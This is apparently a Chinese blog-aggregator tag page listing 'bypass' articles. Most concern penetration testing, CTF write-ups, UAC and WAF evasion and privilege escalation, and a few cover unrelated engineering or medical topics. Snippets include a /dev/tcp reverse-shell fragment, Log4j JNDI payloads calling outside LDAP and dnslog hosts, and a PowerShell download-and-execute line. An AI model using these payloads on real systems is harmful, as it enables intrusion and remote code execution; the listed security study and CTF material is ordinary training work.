BYPASS

[开发杂谈记录] Windows CMD使用socket代理

Tunnelallyourinternettrafficthroughasocksproxy:netshwinhttpsetproxyproxy-server="socks=localhost:9090"bypass-list
·2022-07-05 19:16

Windows 提权

系统内核溢出漏洞提权2.系统配置错误提权2.1错误权限配置2.2计划任务提权：2.3可信任服务路径漏洞2.4不安全的注册表权限配置2.5启用注册表键AlwaysInstallElevated3.组策略首选项提权4.bypassUAC
再认真点·2022-07-05 09:23

【免杀】————4、Webshell如何bypass安全狗，D盾

上次很多师傅问我要的web漏扫的github地址抱歉还不能给你们，（毕设没答辩完，而且还没写完Orz）Webshell这里，我主要是写phpwebshell的bypass（主要是其他的没研究过），安全狗的版本是在官网下载的
FLy_鹏程万里·2022-07-04 21:14

CVE-2022-25845 – Fastjson “Auto Type Bypass” RCE漏洞分析

本文翻译自：https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability
vayci·2022-06-24 17:15

Python 开发 多线程爆破 21端口.（拿到账号和密码，成功登录）

这里我服务器修改FTP协议端口为221.）（3）效果图.（4）端口连接.Python开发学习的意义：（1）学习相关安全工具原理.（2）掌握自定义工具及拓展开发解决实战中无工具或手工麻烦批量化等情况.（3）在二次开发Bypass
半个西瓜.·2022-06-22 17:09

【渗透攻击】PowerShell与Shell 有什么区别详解、用法及安全

PowerShell执行策略PowerShell提供了Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined六种类型的执行策略。
罗四强·2022-05-29 13:55

文件上传的一个骚操作(低权限+bypassAV)

原文链接：https://www.freebuf.com/articles/network/259671.html文件上传的一个骚操作(低权限+bypassAV)耳旁的歌2021-01-0322:03:
明月清风~~·2022-05-24 07:33

提权的几种方法

提权的几种方法本文主要介绍几种提权方法的原理以及对应工具脚本的使用windows主要分为系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、窃取令牌提权、bypassuac提权，第三方软件
天下 (天衍师)·2022-05-21 16:49

Python脚本开发漏洞的批量搜索与利用(GlassFish 任意文件读取)

目录Python开发学习的意义：（1）学习相关安全工具原理.（2）掌握自定义工具及拓展开发解决实战中无工具或手工麻烦批量化等情况.（3）在二次开发Bypass，日常任务，批量测试利用等方面均有帮助.免责声明
·2022-05-19 15:37

ctfhub-web进阶-shellshock

ctfhub-web进阶-shellshock题目描述：利用PHP破壳完成BypassCTFHubBypassdisable_function——ShellShock本环境来源于AntSword-LabsCTFHubBypassdisable_function
o3Ev·2022-05-15 17:01

kernel heap bypass smep,smap && 劫持modprobe_path

#kernelheapbypasssmep,smap&&劫持modprobe_path###exp1smep:smep即用户数据不可执行，当CPU处于ring0模式时，执行用户空间的代码会触发页错误，系统根据
狒猩橙·2022-05-14 23:00

Affinity Propagation Clustering (AP聚类)算法实例演示

Reference:BrendanJ.FreyandDelbertDueck,“ClusteringbyPassingMessagesBetweenDataPoints”,ScienceFeb.2007
小宇2022·2022-05-12 07:23

nginx 缓存使用及配置步骤

目录前言Nginx的web缓存Nginx缓存设置相关指令配置实例实验演示其他配置参数说明缓存配置案例展示环境准备配置步骤Nginx设置资源不缓存案例展示proxy_cache_bypass配置样例实例展示前言缓存的使用在各种项目中非常普遍
·2022-05-09 17:59

2022-05-07

sth.taketheslowlane要是说到...的话，xx则落了下风ballyhoon.喧闹；大吹大擂的广告[文章,演说]v.大肆宣传；为…大吹大擂fleetn.舰队;捕鱼船队;(一国的)全部军舰，海军bypassvt
永无止境的土豆·2022-05-07 13:28

网络安全应急响应实战笔记

GitHub地址：https://github.com/Bypass007/Emergency-Response-NotesGitBook地址：https://bypass007.github.io/Emergency-Response-Notes
·2022-04-30 21:00

CTFHUB-SSRF-302跳转，Bypass(小宇特详解)

CTFHUB-SSRF-302跳转，Bypass这里利用ssrf先访问一下本地的127.0.0.1/flag.php发现不能直接访问flag.php这里查看一下网页源代码file:///var/www/
小宇特详解·2022-04-25 11:14

CTFHUB- DNS重绑定 Bypass（小宇特详解）

CTFHUB-DNS重绑定Bypass1.用我的理解来说就是，用户访问一个特定的域名，然后这个域名原来是一个正常的ip。
小宇特详解·2022-04-25 11:14

CTFHUB-数字ip bypass（小宇特详解）

CTFHUB-数字ipbypass1.这里先看一下题目这里ban掉了127和172这里不能使用常规的ip地址了这里可以使用ip转化器来进行这里将十进制的ip地址输入是一下?
小宇特详解·2022-04-25 10:44

CTFHUB-URL Bypass（小宇特详解）＋ssrf绕过方法

CTFHUB-URLBypass这里的要求是请求的URL中必须包含http://notfound.ctfhub.com这里我第一时间想到的是绕过。
小宇特详解·2022-04-25 10:44

WIN进程注入&BypassUAC&令牌窃取

WIN进程注入&BypassUAC&令牌窃取本地提权—win令牌窃取假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候，需通过假冒域管理员的令牌进行攻击。
Ray言午·2022-04-05 15:00

mvnd打包快到飞起

安装choco打开powshell:Set-ExecutionPolicyBypass-ScopeProcess-Force;iex((New-ObjectSystem.Net.WebClient).DownloadString
·2022-03-29 20:26

巧用对象存储回源绕过SSRF限制

302跳转bypass常见的方法有：自建服务器，当收到目标服务器的请求后添加一个Location响
·2022-03-28 10:48

2022 Real World CTF体验赛Writeup

log4flag提示log4j，测试payload：${jndi:rmi://xxx.dnslog.cn/Exp}存在检测,bypasspayload:${${lower:j}${lower:n}${lower
keepb1ue·2022-03-28 07:21

网络安全专业名词解释

Bypass就是绕过的意思，渗透测试人员通过特殊语句的构建或者做混淆等进行渗透测试，然后达到绕过WAF的手法。C2全称为CommandandCon
晶晶娃在战斗·2022-03-24 15:39

Kernel pwn 基础教程之 ret2usr 与 bypass_smep

一、前言在我们的pwn学习过程中，能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制，往往这些保护机制又会引发出新的bypass技巧，像是我们非常熟悉的Shellcode与NX，NX与ROP
合天网安实验室·2022-03-17 10:00

EMC防护中的滤波电容-为什么放0.1uF和0.01uF电容

旁路和去耦旁路电容（BypassCapacitor）和去耦电容（DecouplingCapacitor）这两个概念在电路中是常见的，但是真正理解起来并不容易。要理解这两个词汇，还得回到英文语境中去。
ltqshs·2022-03-15 08:09

Python安全开发——多线程Fuzz&Waf 异或免杀&爆破

1.概述：知识点：协议模块使用，Request爬虫技术，简易多线程技术，编码技术，Bypass后门技术目的：掌握利用强大的模块实现各种协议连接操作(爆破或利用等)，配合Fuzz吊打WAF等2.简单多线程技术
暮w光·2022-03-09 05:46

红日靶场二

关于靶场统一登录密码：1qaz@WSXBypassUACWindows系统NTLM获
rurald·2022-03-07 15:37

[WP-Bugku积累-正则bypasss] No one knows regex better than me

Nooneknowsregexbetterthanme记Bugku一道关于PHP正则的新加题目题目源码:正则表达式字符串参数----->正则解析转移后的pattern字符串:"\\."---->正则表达式形式:"\."--->正则引擎解析结果"\."(转义的.)字符串:"(\\)(\\)"---->正则表达式形式:"\\"--->正则引擎解析结果"\"(普通符号\)字符串:"(\\)(\\)|.p
車鈊·2022-03-07 15:31

java高版本下各种JNDI Bypass方法复现

目录0前言1Java高版本JNDI绕过的源代码分析1.1思路一的源码分析1.2思路二的源码分析2基于本地工厂类的利用方法2.1org.apache.naming.factory.BeanFactory2.1.1javax.el.ELProcessor.eval2.1.2groovy.lang.GroovyClassLoader.parseClass(Stringtext)2.1.3javax.ma
bitterz·2022-02-28 16:00

少量输血对冠状动脉嫁接术的影响

From【Theimpactofminorbloodtransfusionontheoutcomeaftercoronaryarterybypassgrafting】摘要1.目标：研究少量输血（1-2单位红细胞
WilliamY·2022-02-18 03:28

iOS中Markdown解析集成流程

--ByPassiOS集成一、前言项目中用到markdown解析，找了很多第三方库，重构了好几次都不能满足需求，后来用了ByPass这个SDK，通过调试完成了需求的实现，这里进行一下总结。
JC一直在路上·2022-02-17 14:59

iOS中Markdown解析集成流程

--ByPassiOS集成一、前言项目中用到markdown解析，找了很多第三方库，重构了好几次都不能满足需求，后来用了ByPass这个SDK，通过调试完成了需求的实现，这里进行一下总结。
JC一直在路上·2022-02-17 14:59

git commit的报错相关处理

一、提交报错husky>pre-commithookfailed(add--no-verifytobypass)当在终端输入gitcommit-m"XXX"提交代码的时候，pre-commit(客户端)
日常更新·2022-02-17 02:29

Google Maglev Hashing实现

背景Maglev是Google开发的基于kernalbypass技术实现的4层负载均衡，它具有非常强大的负载性能，承载了Google绝大部分接入流量。
Damon_330b·2022-02-15 09:34

buuctf初学者学习记录--[MRCTF2020]Ez_bypass

web第27题[MRCTF2020]Ez_bypass打开靶场查看源码php代码审计IputsomethinginF12foryouinclude'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx
pakho_C·2022-02-15 09:08

Angular4 标签设置style背景图片

angular/platform-browser';constructor(privatesanitizer:DomSanitizer){}this.bgpictrue=this.sanitizer.bypassSecurityTr
Lay小心心·2022-02-14 21:17

【论文阅读】存储在SPDK与新硬件设备的探索汇总

对现有硬件的压榨主要是SPDKRDMA，通过bypass驱动层来最大限度利用硬件的性能。新硬件的探索则包含了傲腾持久化内存和KV-SSD两块。
tanghui·2022-02-13 10:45

学习笔记-命令执行及花式bypass写shell

命令执行的坑其实早就想填了。最早是因为校赛时，easyphp一题自己因为不熟悉命令执行的一些特性导致套娃题绕到最后一层却没拿到flag。当时十分不爽，下定决心要好好了解下命令执行的相关知识点。关于命令执行我大体上归为php绕过+rce两类。php的难点主要是在绕过写shell上，而linux的知识主要在RCE达成上。先从简单说起：linux命令&RCErce,即remotecommand/code
byc_404·2022-02-12 02:09

渗透测试工具：跨站脚本漏洞检测---Xsser

文章目录简介:用法：（一）、Options:（二）、特别的用法:（三）、选择目标:（四）、现测HTTP/HTTPS的连接类型:（五）、配置请求:（六）、系统验校器:（七）、选择攻击向量(s):（八）、选择Bypasser
冷落残阳·2022-02-11 13:53

代码审计从入门到放弃(二) & pcrewaf

前言继续之前的2018CodeBreaking，这次是一道关于php回溯bypass正则的题目：pcrewaf题目概述题目源码如下].
蚁景科技·2022-02-09 19:56

ORACLE-基础知识

创建用户dropuserUSERcascade;createuserUSERidentifiedbyPASSw0rDdefaulttablespaceDATA_SPACEtemporarytablespaceTEMP
recruits·2022-02-08 19:55

oracle12发行版2

1.在安装的时候忘了设置用户密码了凭着依稀的记忆终于试对了sys1232.在创建用户的时候使用如下格式createuserc##+usernameidentifiedbypassword
emmmmm哈哈·2022-02-08 17:28

安全攻防-kali内网渗透实战

但是好像没有检测出来【一>所有资源获取&/dev/tcp/192.168.1.105/99990>&1抓包添加payload=${jndi:ldap:1/192.168.199.140:1389/TomcatBypass
kali_Ma·2022-02-08 10:41

Mac OS X 打开Chrome时设置代理

默认直接打开chrome是没有代理的，如果需要代理可以通过命令行--no-proxy-server--proxy-auto-detect--proxy-bypass-list=XXX--proxy-pac-url
testerzhang·2022-02-07 05:05

Windows下cmd/powershell命令混淆绕过

Bypass1.特殊符号、大小写常用符号："^,;可以绕过一些常规的waf2.环境变量拿到一台机器时，可以先set查看环境变量这里我们拿Comspec=C:\WINDOWS\system32\cmd.exe
青澜Cyan·2022-02-05 18:00

【经验总结】SQL注入Bypass安全狗360主机卫士

0x00前言这类的文章已经是比较多了，本文也主要是作为学习笔记来记录，主要是记录一下我在学习SQL注入Bypass的过程，同时前人的不少绕过方法已经失效了，所以这里也是记录一下最新规则的一些绕过方法。
TeamsSix·2022-02-04 16:09

BUCK电路原理及PCB布局与布线注意事项

CBYPASS是高频的去耦电容器，CIN是电容器大电容。在开关元件Q1导通的情况下，电流波形的大部分陡峭部分由CBYPASS提
ltqshs·2022-02-04 16:02

Web安全学习二

注入注入分类按技巧分类按获取数据的方式分类注入检测权限提升数据库检测绕过技巧CheatSheetSQLServerPayloadMySQLPayload预编译XSS分类危害同源策略CSPXSS数据源SinkXSS保护WAFBypassPayload
ML李嘉图·2021-12-09 16:00

一个简单的BypassUAC编写

什么是UAC？UAC是微软为提高系统安全而在WindowsVista中引入的新技术，它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前，提供权限或管理员密码。通过在这些操作启动前对其进行验证，UAC可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。绕过UAC在渗透测试种有何作用？在渗透测试中，一般我们要在目标机执行木马程序时，为了防
朝朝_暮暮·2021-12-06 14:00
上一页 7 8 9 10 11 12 13 14 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他